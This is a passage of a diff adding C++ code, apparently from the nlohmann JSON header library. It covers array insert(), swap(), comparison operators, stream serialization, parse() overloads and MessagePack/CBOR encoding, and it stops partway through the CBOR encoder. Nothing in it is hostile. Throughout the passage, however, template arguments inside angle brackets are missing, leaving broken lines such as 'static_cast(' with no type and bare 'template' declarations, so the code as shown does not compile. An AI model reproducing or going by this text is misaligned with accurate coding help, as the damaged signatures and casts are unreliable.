container. + + @liveexample{The example shows how `insert()` is used.,insert__count} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, size_type cnt, const basic_json& val) + { + // insert only works for arrays + if (is_array()) + { + // check if iterator pos fits to this JSON value + if (pos.m_object != this) + { + JSON_THROW(std::domain_error("iterator does not fit current value")); + } + + // insert to array and return iterator + iterator result(this); + result.m_it.array_iterator = m_value.array->insert(pos.m_it.array_iterator, cnt, val); + return result; + } + + JSON_THROW(std::domain_error("cannot use insert() with " + type_name())); + } + + /*! + @brief inserts elements + + Inserts elements from range `[first, last)` before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] first begin of the range of elements to insert + @param[in] last end of the range of elements to insert + + @throw std::domain_error if called on JSON values other than arrays; + example: `"cannot use insert() with string"` + @throw std::domain_error if @a pos is not an iterator of *this; example: + `"iterator does not fit current value"` + @throw std::domain_error if @a first and @a last do not belong to the same + JSON value; example: `"iterators do not fit"` + @throw std::domain_error if @a first or @a last are iterators into + container for which insert is called; example: `"passed iterators may not + belong to container"` + + @return iterator pointing to the first element inserted, or @a pos if + `first==last` + + @complexity Linear in `std::distance(first, last)` plus linear in the + distance between @a pos and end of the container. + + @liveexample{The example shows how `insert()` is used.,insert__range} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, const_iterator first, const_iterator last) + { + // insert only works for arrays + if (not is_array()) + { + JSON_THROW(std::domain_error("cannot use insert() with " + type_name())); + } + + // check if iterator pos fits to this JSON value + if (pos.m_object != this) + { + JSON_THROW(std::domain_error("iterator does not fit current value")); + } + + // check if range iterators belong to the same JSON object + if (first.m_object != last.m_object) + { + JSON_THROW(std::domain_error("iterators do not fit")); + } + + if (first.m_object == this or last.m_object == this) + { + JSON_THROW(std::domain_error("passed iterators may not belong to container")); + } + + // insert to array and return iterator + iterator result(this); + result.m_it.array_iterator = m_value.array->insert( + pos.m_it.array_iterator, + first.m_it.array_iterator, + last.m_it.array_iterator); + return result; + } + + /*! + @brief inserts elements + + Inserts elements from initializer list @a ilist before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] ilist initializer list to insert the values from + + @throw std::domain_error if called on JSON values other than arrays; + example: `"cannot use insert() with string"` + @throw std::domain_error if @a pos is not an iterator of *this; example: + `"iterator does not fit current value"` + + @return iterator pointing to the first element inserted, or @a pos if + `ilist` is empty + + @complexity Linear in `ilist.size()` plus linear in the distance between + @a pos and end of the container. + + @liveexample{The example shows how `insert()` is used.,insert__ilist} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, std::initializer_list ilist) + { + // insert only works for arrays + if (not is_array()) + { + JSON_THROW(std::domain_error("cannot use insert() with " + type_name())); + } + + // check if iterator pos fits to this JSON value + if (pos.m_object != this) + { + JSON_THROW(std::domain_error("iterator does not fit current value")); + } + + // insert to array and return iterator + iterator result(this); + result.m_it.array_iterator = m_value.array->insert(pos.m_it.array_iterator, ilist); + return result; + } + + /*! + @brief exchanges the values + + Exchanges the contents of the JSON value with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other JSON value to exchange the contents with + + @complexity Constant. + + @liveexample{The example below shows how JSON values can be swapped with + `swap()`.,swap__reference} + + @since version 1.0.0 + */ + void swap(reference other) noexcept ( + std::is_nothrow_move_constructible::value and + std::is_nothrow_move_assignable::value and + std::is_nothrow_move_constructible::value and + std::is_nothrow_move_assignable::value + ) + { + std::swap(m_type, other.m_type); + std::swap(m_value, other.m_value); + assert_invariant(); + } + + /*! + @brief exchanges the values + + Exchanges the contents of a JSON array with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other array to exchange the contents with + + @throw std::domain_error when JSON value is not an array; example: + `"cannot use swap() with string"` + + @complexity Constant. + + @liveexample{The example below shows how arrays can be swapped with + `swap()`.,swap__array_t} + + @since version 1.0.0 + */ + void swap(array_t& other) + { + // swap only works for arrays + if (is_array()) + { + std::swap(*(m_value.array), other); + } + else + { + JSON_THROW(std::domain_error("cannot use swap() with " + type_name())); + } + } + + /*! + @brief exchanges the values + + Exchanges the contents of a JSON object with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other object to exchange the contents with + + @throw std::domain_error when JSON value is not an object; example: + `"cannot use swap() with string"` + + @complexity Constant. + + @liveexample{The example below shows how objects can be swapped with + `swap()`.,swap__object_t} + + @since version 1.0.0 + */ + void swap(object_t& other) + { + // swap only works for objects + if (is_object()) + { + std::swap(*(m_value.object), other); + } + else + { + JSON_THROW(std::domain_error("cannot use swap() with " + type_name())); + } + } + + /*! + @brief exchanges the values + + Exchanges the contents of a JSON string with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other string to exchange the contents with + + @throw std::domain_error when JSON value is not a string; example: `"cannot + use swap() with boolean"` + + @complexity Constant. + + @liveexample{The example below shows how strings can be swapped with + `swap()`.,swap__string_t} + + @since version 1.0.0 + */ + void swap(string_t& other) + { + // swap only works for strings + if (is_string()) + { + std::swap(*(m_value.string), other); + } + else + { + JSON_THROW(std::domain_error("cannot use swap() with " + type_name())); + } + } + + /// @} + + public: + ////////////////////////////////////////// + // lexicographical comparison operators // + ////////////////////////////////////////// + + /// @name lexicographical comparison operators + /// @{ + + /*! + @brief comparison: equal + + Compares two JSON values for equality according to the following rules: + - Two JSON values are equal if (1) they are from the same type and (2) + their stored values are the same. + - Integer and floating-point numbers are automatically converted before + comparison. Floating-point numbers are compared indirectly: two + floating-point numbers `f1` and `f2` are considered equal if neither + `f1 > f2` nor `f2 > f1` holds. + - Two JSON null values are equal. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether the values @a lhs and @a rhs are equal + + @complexity Linear. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__equal} + + @since version 1.0.0 + */ + friend bool operator==(const_reference lhs, const_reference rhs) noexcept + { + const auto lhs_type = lhs.type(); + const auto rhs_type = rhs.type(); + + if (lhs_type == rhs_type) + { + switch (lhs_type) + { + case value_t::array: + { + return *lhs.m_value.array == *rhs.m_value.array; + } + case value_t::object: + { + return *lhs.m_value.object == *rhs.m_value.object; + } + case value_t::null: + { + return true; + } + case value_t::string: + { + return *lhs.m_value.string == *rhs.m_value.string; + } + case value_t::boolean: + { + return lhs.m_value.boolean == rhs.m_value.boolean; + } + case value_t::number_integer: + { + return lhs.m_value.number_integer == rhs.m_value.number_integer; + } + case value_t::number_unsigned: + { + return lhs.m_value.number_unsigned == rhs.m_value.number_unsigned; + } + case value_t::number_float: + { + return lhs.m_value.number_float == rhs.m_value.number_float; + } + default: + { + return false; + } + } + } + else if (lhs_type == value_t::number_integer and rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_integer) == rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float and rhs_type == value_t::number_integer) + { + return lhs.m_value.number_float == static_cast(rhs.m_value.number_integer); + } + else if (lhs_type == value_t::number_unsigned and rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_unsigned) == rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float and rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_float == static_cast(rhs.m_value.number_unsigned); + } + else if (lhs_type == value_t::number_unsigned and rhs_type == value_t::number_integer) + { + return static_cast(lhs.m_value.number_unsigned) == rhs.m_value.number_integer; + } + else if (lhs_type == value_t::number_integer and rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_integer == static_cast(rhs.m_value.number_unsigned); + } + + return false; + } + + /*! + @brief comparison: equal + @copydoc operator==(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator==(const_reference lhs, const ScalarType rhs) noexcept + { + return (lhs == basic_json(rhs)); + } + + /*! + @brief comparison: equal + @copydoc operator==(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator==(const ScalarType lhs, const_reference rhs) noexcept + { + return (basic_json(lhs) == rhs); + } + + /*! + @brief comparison: not equal + + Compares two JSON values for inequality by calculating `not (lhs == rhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether the values @a lhs and @a rhs are not equal + + @complexity Linear. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__notequal} + + @since version 1.0.0 + */ + friend bool operator!=(const_reference lhs, const_reference rhs) noexcept + { + return not (lhs == rhs); + } + + /*! + @brief comparison: not equal + @copydoc operator!=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator!=(const_reference lhs, const ScalarType rhs) noexcept + { + return (lhs != basic_json(rhs)); + } + + /*! + @brief comparison: not equal + @copydoc operator!=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator!=(const ScalarType lhs, const_reference rhs) noexcept + { + return (basic_json(lhs) != rhs); + } + + /*! + @brief comparison: less than + + Compares whether one JSON value @a lhs is less than another JSON value @a + rhs according to the following rules: + - If @a lhs and @a rhs have the same type, the values are compared using + the default `<` operator. + - Integer and floating-point numbers are automatically converted before + comparison + - In case @a lhs and @a rhs have different types, the values are ignored + and the order of the types is considered, see + @ref operator<(const value_t, const value_t). + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is less than @a rhs + + @complexity Linear. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__less} + + @since version 1.0.0 + */ + friend bool operator<(const_reference lhs, const_reference rhs) noexcept + { + const auto lhs_type = lhs.type(); + const auto rhs_type = rhs.type(); + + if (lhs_type == rhs_type) + { + switch (lhs_type) + { + case value_t::array: + { + return *lhs.m_value.array < *rhs.m_value.array; + } + case value_t::object: + { + return *lhs.m_value.object < *rhs.m_value.object; + } + case value_t::null: + { + return false; + } + case value_t::string: + { + return *lhs.m_value.string < *rhs.m_value.string; + } + case value_t::boolean: + { + return lhs.m_value.boolean < rhs.m_value.boolean; + } + case value_t::number_integer: + { + return lhs.m_value.number_integer < rhs.m_value.number_integer; + } + case value_t::number_unsigned: + { + return lhs.m_value.number_unsigned < rhs.m_value.number_unsigned; + } + case value_t::number_float: + { + return lhs.m_value.number_float < rhs.m_value.number_float; + } + default: + { + return false; + } + } + } + else if (lhs_type == value_t::number_integer and rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_integer) < rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float and rhs_type == value_t::number_integer) + { + return lhs.m_value.number_float < static_cast(rhs.m_value.number_integer); + } + else if (lhs_type == value_t::number_unsigned and rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_unsigned) < rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float and rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_float < static_cast(rhs.m_value.number_unsigned); + } + else if (lhs_type == value_t::number_integer and rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_integer < static_cast(rhs.m_value.number_unsigned); + } + else if (lhs_type == value_t::number_unsigned and rhs_type == value_t::number_integer) + { + return static_cast(lhs.m_value.number_unsigned) < rhs.m_value.number_integer; + } + + // We only reach this line if we cannot compare values. In that case, + // we compare types. Note we have to call the operator explicitly, + // because MSVC has problems otherwise. + return operator<(lhs_type, rhs_type); + } + + /*! + @brief comparison: less than or equal + + Compares whether one JSON value @a lhs is less than or equal to another + JSON value by calculating `not (rhs < lhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is less than or equal to @a rhs + + @complexity Linear. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__greater} + + @since version 1.0.0 + */ + friend bool operator<=(const_reference lhs, const_reference rhs) noexcept + { + return not (rhs < lhs); + } + + /*! + @brief comparison: greater than + + Compares whether one JSON value @a lhs is greater than another + JSON value by calculating `not (lhs <= rhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is greater than to @a rhs + + @complexity Linear. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__lessequal} + + @since version 1.0.0 + */ + friend bool operator>(const_reference lhs, const_reference rhs) noexcept + { + return not (lhs <= rhs); + } + + /*! + @brief comparison: greater than or equal + + Compares whether one JSON value @a lhs is greater than or equal to another + JSON value by calculating `not (lhs < rhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is greater than or equal to @a rhs + + @complexity Linear. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__greaterequal} + + @since version 1.0.0 + */ + friend bool operator>=(const_reference lhs, const_reference rhs) noexcept + { + return not (lhs < rhs); + } + + /// @} + + + /////////////////// + // serialization // + /////////////////// + + /// @name serialization + /// @{ + + /*! + @brief serialize to stream + + Serialize the given JSON value @a j to the output stream @a o. The JSON + value will be serialized using the @ref dump member function. The + indentation of the output can be controlled with the member variable + `width` of the output stream @a o. For instance, using the manipulator + `std::setw(4)` on @a o sets the indentation level to `4` and the + serialization result is the same as calling `dump(4)`. + + @param[in,out] o stream to serialize to + @param[in] j JSON value to serialize + + @return the stream @a o + + @complexity Linear. + + @liveexample{The example below shows the serialization with different + parameters to `width` to adjust the indentation level.,operator_serialize} + + @since version 1.0.0 + */ + friend std::ostream& operator<<(std::ostream& o, const basic_json& j) + { + // read width member and use it as indentation parameter if nonzero + const bool pretty_print = (o.width() > 0); + const auto indentation = (pretty_print ? o.width() : 0); + + // reset width to 0 for subsequent calls to this stream + o.width(0); + + // do the actual serialization + j.dump(o, pretty_print, static_cast(indentation)); + + return o; + } + + /*! + @brief serialize to stream + @copydoc operator<<(std::ostream&, const basic_json&) + */ + friend std::ostream& operator>>(const basic_json& j, std::ostream& o) + { + return o << j; + } + + /// @} + + + ///////////////////// + // deserialization // + ///////////////////// + + /// @name deserialization + /// @{ + + /*! + @brief deserialize from an array + + This function reads from an array of 1-byte values. + + @pre Each element of the container has a size of 1 byte. Violating this + precondition yields undefined behavior. **This precondition is enforced + with a static assertion.** + + @param[in] array array to read from + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + + @return result of the deserialization + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the parser callback function + @a cb has a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below demonstrates the `parse()` function reading + from an array.,parse__array__parser_callback_t} + + @since version 2.0.3 + */ + template + static basic_json parse(T (&array)[N], + const parser_callback_t cb = nullptr) + { + // delegate the call to the iterator-range parse overload + return parse(std::begin(array), std::end(array), cb); + } + + /*! + @brief deserialize from string literal + + @tparam CharT character/literal type with size of 1 byte + @param[in] s string literal to read a serialized JSON value from + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + + @return result of the deserialization + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the parser callback function + @a cb has a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + @note String containers like `std::string` or @ref string_t can be parsed + with @ref parse(const ContiguousContainer&, const parser_callback_t) + + @liveexample{The example below demonstrates the `parse()` function with + and without callback function.,parse__string__parser_callback_t} + + @sa @ref parse(std::istream&, const parser_callback_t) for a version that + reads from an input stream + + @since version 1.0.0 (originally for @ref string_t) + */ + template::value and + std::is_integral::type>::value and + sizeof(typename std::remove_pointer::type) == 1, int>::type = 0> + static basic_json parse(const CharT s, + const parser_callback_t cb = nullptr) + { + return parser(reinterpret_cast(s), cb).parse(); + } + + /*! + @brief deserialize from stream + + @param[in,out] i stream to read a serialized JSON value from + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + + @return result of the deserialization + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the parser callback function + @a cb has a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below demonstrates the `parse()` function with + and without callback function.,parse__istream__parser_callback_t} + + @sa @ref parse(const CharT, const parser_callback_t) for a version + that reads from a string + + @since version 1.0.0 + */ + static basic_json parse(std::istream& i, + const parser_callback_t cb = nullptr) + { + return parser(i, cb).parse(); + } + + /*! + @copydoc parse(std::istream&, const parser_callback_t) + */ + static basic_json parse(std::istream&& i, + const parser_callback_t cb = nullptr) + { + return parser(i, cb).parse(); + } + + /*! + @brief deserialize from an iterator range with contiguous storage + + This function reads from an iterator range of a container with contiguous + storage of 1-byte values. Compatible container types include + `std::vector`, `std::string`, `std::array`, `std::valarray`, and + `std::initializer_list`. Furthermore, C-style arrays can be used with + `std::begin()`/`std::end()`. User-defined containers can be used as long + as they implement random-access iterators and a contiguous storage. + + @pre The iterator range is contiguous. Violating this precondition yields + undefined behavior. **This precondition is enforced with an assertion.** + @pre Each element in the range has a size of 1 byte. Violating this + precondition yields undefined behavior. **This precondition is enforced + with a static assertion.** + + @warning There is no way to enforce all preconditions at compile-time. If + the function is called with noncompliant iterators and with + assertions switched off, the behavior is undefined and will most + likely yield segmentation violation. + + @tparam IteratorType iterator of container with contiguous storage + @param[in] first begin of the range to parse (included) + @param[in] last end of the range to parse (excluded) + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + + @return result of the deserialization + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the parser callback function + @a cb has a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below demonstrates the `parse()` function reading + from an iterator range.,parse__iteratortype__parser_callback_t} + + @since version 2.0.3 + */ + template::iterator_category>::value, int>::type = 0> + static basic_json parse(IteratorType first, IteratorType last, + const parser_callback_t cb = nullptr) + { + // assertion to check that the iterator range is indeed contiguous, + // see http://stackoverflow.com/a/35008842/266378 for more discussion + assert(std::accumulate(first, last, std::pair(true, 0), + [&first](std::pair res, decltype(*first) val) + { + res.first &= (val == *(std::next(std::addressof(*first), res.second++))); + return res; + }).first); + + // assertion to check that each element is 1 byte long + static_assert(sizeof(typename std::iterator_traits::value_type) == 1, + "each element in the iterator range must have the size of 1 byte"); + + // if iterator range is empty, create a parser with an empty string + // to generate "unexpected EOF" error message + if (std::distance(first, last) <= 0) + { + return parser("").parse(); + } + + return parser(first, last, cb).parse(); + } + + /*! + @brief deserialize from a container with contiguous storage + + This function reads from a container with contiguous storage of 1-byte + values. Compatible container types include `std::vector`, `std::string`, + `std::array`, and `std::initializer_list`. User-defined containers can be + used as long as they implement random-access iterators and a contiguous + storage. + + @pre The container storage is contiguous. Violating this precondition + yields undefined behavior. **This precondition is enforced with an + assertion.** + @pre Each element of the container has a size of 1 byte. Violating this + precondition yields undefined behavior. **This precondition is enforced + with a static assertion.** + + @warning There is no way to enforce all preconditions at compile-time. If + the function is called with a noncompliant container and with + assertions switched off, the behavior is undefined and will most + likely yield segmentation violation. + + @tparam ContiguousContainer container type with contiguous storage + @param[in] c container to read from + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + + @return result of the deserialization + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the parser callback function + @a cb has a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below demonstrates the `parse()` function reading + from a contiguous container.,parse__contiguouscontainer__parser_callback_t} + + @since version 2.0.3 + */ + template::value and + std::is_base_of< + std::random_access_iterator_tag, + typename std::iterator_traits()))>::iterator_category>::value + , int>::type = 0> + static basic_json parse(const ContiguousContainer& c, + const parser_callback_t cb = nullptr) + { + // delegate the call to the iterator-range parse overload + return parse(std::begin(c), std::end(c), cb); + } + + /*! + @brief deserialize from stream + + Deserializes an input stream to a JSON value. + + @param[in,out] i input stream to read a serialized JSON value from + @param[in,out] j JSON value to write the deserialized input to + + @throw std::invalid_argument in case of parse errors + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below shows how a JSON value is constructed by + reading a serialization from a stream.,operator_deserialize} + + @sa parse(std::istream&, const parser_callback_t) for a variant with a + parser callback function to filter values while parsing + + @since version 1.0.0 + */ + friend std::istream& operator<<(basic_json& j, std::istream& i) + { + j = parser(i).parse(); + return i; + } + + /*! + @brief deserialize from stream + @copydoc operator<<(basic_json&, std::istream&) + */ + friend std::istream& operator>>(std::istream& i, basic_json& j) + { + j = parser(i).parse(); + return i; + } + + /// @} + + ////////////////////////////////////////// + // binary serialization/deserialization // + ////////////////////////////////////////// + + /// @name binary serialization/deserialization support + /// @{ + + private: + /*! + @note Some code in the switch cases has been copied, because otherwise + copilers would complain about implicit fallthrough and there is no + portable attribute to mute such warnings. + */ + template + static void add_to_vector(std::vector& vec, size_t bytes, const T number) + { + assert(bytes == 1 or bytes == 2 or bytes == 4 or bytes == 8); + + switch (bytes) + { + case 8: + { + vec.push_back(static_cast((static_cast(number) >> 070) & 0xff)); + vec.push_back(static_cast((static_cast(number) >> 060) & 0xff)); + vec.push_back(static_cast((static_cast(number) >> 050) & 0xff)); + vec.push_back(static_cast((static_cast(number) >> 040) & 0xff)); + vec.push_back(static_cast((number >> 030) & 0xff)); + vec.push_back(static_cast((number >> 020) & 0xff)); + vec.push_back(static_cast((number >> 010) & 0xff)); + vec.push_back(static_cast(number & 0xff)); + break; + } + + case 4: + { + vec.push_back(static_cast((number >> 030) & 0xff)); + vec.push_back(static_cast((number >> 020) & 0xff)); + vec.push_back(static_cast((number >> 010) & 0xff)); + vec.push_back(static_cast(number & 0xff)); + break; + } + + case 2: + { + vec.push_back(static_cast((number >> 010) & 0xff)); + vec.push_back(static_cast(number & 0xff)); + break; + } + + case 1: + { + vec.push_back(static_cast(number & 0xff)); + break; + } + } + } + + /*! + @brief take sufficient bytes from a vector to fill an integer variable + + In the context of binary serialization formats, we need to read several + bytes from a byte vector and combine them to multi-byte integral data + types. + + @param[in] vec byte vector to read from + @param[in] current_index the position in the vector after which to read + + @return the next sizeof(T) bytes from @a vec, in reverse order as T + + @tparam T the integral return type + + @throw std::out_of_range if there are less than sizeof(T)+1 bytes in the + vector @a vec to read + + In the for loop, the bytes from the vector are copied in reverse order into + the return value. In the figures below, let sizeof(T)=4 and `i` be the loop + variable. + + Precondition: + + vec: | | | a | b | c | d | T: | | | | | + ^ ^ ^ ^ + current_index i ptr sizeof(T) + + Postcondition: + + vec: | | | a | b | c | d | T: | d | c | b | a | + ^ ^ ^ + | i ptr + current_index + + @sa Code adapted from . + */ + template + static T get_from_vector(const std::vector& vec, const size_t current_index) + { + if (current_index + sizeof(T) + 1 > vec.size()) + { + JSON_THROW(std::out_of_range("cannot read " + std::to_string(sizeof(T)) + " bytes from vector")); + } + + T result; + auto* ptr = reinterpret_cast(&result); + for (size_t i = 0; i < sizeof(T); ++i) + { + *ptr++ = vec[current_index + sizeof(T) - i]; + } + return result; + } + + /*! + @brief create a MessagePack serialization of a given JSON value + + This is a straightforward implementation of the MessagePack specification. + + @param[in] j JSON value to serialize + @param[in,out] v byte vector to write the serialization to + + @sa https://github.com/msgpack/msgpack/blob/master/spec.md + */ + static void to_msgpack_internal(const basic_json& j, std::vector& v) + { + switch (j.type()) + { + case value_t::null: + { + // nil + v.push_back(0xc0); + break; + } + + case value_t::boolean: + { + // true and false + v.push_back(j.m_value.boolean ? 0xc3 : 0xc2); + break; + } + + case value_t::number_integer: + { + if (j.m_value.number_integer >= 0) + { + // MessagePack does not differentiate between positive + // signed integers and unsigned integers. Therefore, we + // used the code from the value_t::number_unsigned case + // here. + if (j.m_value.number_unsigned < 128) + { + // positive fixnum + add_to_vector(v, 1, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 8 + v.push_back(0xcc); + add_to_vector(v, 1, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 16 + v.push_back(0xcd); + add_to_vector(v, 2, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 32 + v.push_back(0xce); + add_to_vector(v, 4, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 64 + v.push_back(0xcf); + add_to_vector(v, 8, j.m_value.number_unsigned); + } + } + else + { + if (j.m_value.number_integer >= -32) + { + // negative fixnum + add_to_vector(v, 1, j.m_value.number_integer); + } + else if (j.m_value.number_integer >= std::numeric_limits::min() and j.m_value.number_integer <= std::numeric_limits::max()) + { + // int 8 + v.push_back(0xd0); + add_to_vector(v, 1, j.m_value.number_integer); + } + else if (j.m_value.number_integer >= std::numeric_limits::min() and j.m_value.number_integer <= std::numeric_limits::max()) + { + // int 16 + v.push_back(0xd1); + add_to_vector(v, 2, j.m_value.number_integer); + } + else if (j.m_value.number_integer >= std::numeric_limits::min() and j.m_value.number_integer <= std::numeric_limits::max()) + { + // int 32 + v.push_back(0xd2); + add_to_vector(v, 4, j.m_value.number_integer); + } + else if (j.m_value.number_integer >= std::numeric_limits::min() and j.m_value.number_integer <= std::numeric_limits::max()) + { + // int 64 + v.push_back(0xd3); + add_to_vector(v, 8, j.m_value.number_integer); + } + } + break; + } + + case value_t::number_unsigned: + { + if (j.m_value.number_unsigned < 128) + { + // positive fixnum + add_to_vector(v, 1, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 8 + v.push_back(0xcc); + add_to_vector(v, 1, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 16 + v.push_back(0xcd); + add_to_vector(v, 2, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 32 + v.push_back(0xce); + add_to_vector(v, 4, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= std::numeric_limits::max()) + { + // uint 64 + v.push_back(0xcf); + add_to_vector(v, 8, j.m_value.number_unsigned); + } + break; + } + + case value_t::number_float: + { + // float 64 + v.push_back(0xcb); + const auto* helper = reinterpret_cast(&(j.m_value.number_float)); + for (size_t i = 0; i < 8; ++i) + { + v.push_back(helper[7 - i]); + } + break; + } + + case value_t::string: + { + const auto N = j.m_value.string->size(); + if (N <= 31) + { + // fixstr + v.push_back(static_cast(0xa0 | N)); + } + else if (N <= 255) + { + // str 8 + v.push_back(0xd9); + add_to_vector(v, 1, N); + } + else if (N <= 65535) + { + // str 16 + v.push_back(0xda); + add_to_vector(v, 2, N); + } + else if (N <= 4294967295) + { + // str 32 + v.push_back(0xdb); + add_to_vector(v, 4, N); + } + + // append string + std::copy(j.m_value.string->begin(), j.m_value.string->end(), + std::back_inserter(v)); + break; + } + + case value_t::array: + { + const auto N = j.m_value.array->size(); + if (N <= 15) + { + // fixarray + v.push_back(static_cast(0x90 | N)); + } + else if (N <= 0xffff) + { + // array 16 + v.push_back(0xdc); + add_to_vector(v, 2, N); + } + else if (N <= 0xffffffff) + { + // array 32 + v.push_back(0xdd); + add_to_vector(v, 4, N); + } + + // append each element + for (const auto& el : *j.m_value.array) + { + to_msgpack_internal(el, v); + } + break; + } + + case value_t::object: + { + const auto N = j.m_value.object->size(); + if (N <= 15) + { + // fixmap + v.push_back(static_cast(0x80 | (N & 0xf))); + } + else if (N <= 65535) + { + // map 16 + v.push_back(0xde); + add_to_vector(v, 2, N); + } + else if (N <= 4294967295) + { + // map 32 + v.push_back(0xdf); + add_to_vector(v, 4, N); + } + + // append each element + for (const auto& el : *j.m_value.object) + { + to_msgpack_internal(el.first, v); + to_msgpack_internal(el.second, v); + } + break; + } + + default: + { + break; + } + } + } + + /*! + @brief create a CBOR serialization of a given JSON value + + This is a straightforward implementation of the CBOR specification. + + @param[in] j JSON value to serialize + @param[in,out] v byte vector to write the serialization to + + @sa https://tools.ietf.org/html/rfc7049 + */ + static void to_cbor_internal(const basic_json& j, std::vector& v) + { + switch (j.type()) + { + case value_t::null: + { + v.push_back(0xf6); + break; + } + + case value_t::boolean: + { + v.push_back(j.m_value.boolean ? 0xf5 : 0xf4); + break; + } + + case value_t::number_integer: + { + if (j.m_value.number_integer >= 0) + { + // CBOR does not differentiate between positive signed + // integers and unsigned integers. Therefore, we used the + // code from the value_t::number_unsigned case here. + if (j.m_value.number_integer <= 0x17) + { + add_to_vector(v, 1, j.m_value.number_integer); + } + else if (j.m_value.number_integer <= std::numeric_limits::max()) + { + v.push_back(0x18); + // one-byte uint8_t + add_to_vector(v, 1, j.m_value.number_integer); + } + else if (j.m_value.number_integer <= std::numeric_limits::max()) + { + v.push_back(0x19); + // two-byte uint16_t + add_to_vector(v, 2, j.m_value.number_integer); + } + else if (j.m_value.number_integer <= std::numeric_limits::max()) + { + v.push_back(0x1a); + // four-byte uint32_t + add_to_vector(v, 4, j.m_value.number_integer); + } + else + { + v.push_back(0x1b); + // eight-byte uint64_t + add_to_vector(v, 8, j.m_value.number_integer); + } + } + else + { + // The conversions below encode the sign in the first + // byte, and the value is converted to a positive number. + const auto positive_number = -1 - j.m_value.number_integer; + if (j.m_value.number_integer >= -24) + { + v.push_back(static_cast(0x20 + positive_number)); + } + else if (positive_number <= std::numeric_limits::max()) + { + // int 8 + v.push_back(0x38); + add_to_vector(v, 1, positive_number); + } + else if (positive_number <= std::numeric_limits::max()) + { + // int 16 + v.push_back(0x39); + add_to_vector(v, 2, positive_number); + } + else if (positive_number <= std::numeric_limits::max()) + { + // int 32 + v.push_back(0x3a); + add_to_vector(v, 4, positive_number); + } + else + { + // int 64 + v.push_back(0x3b); + add_to_vector(v, 8, positive_number); + } + } + break; + } + + case value_t::number_unsigned: + { + if (j.m_value.number_unsigned <= 0x17) + { + 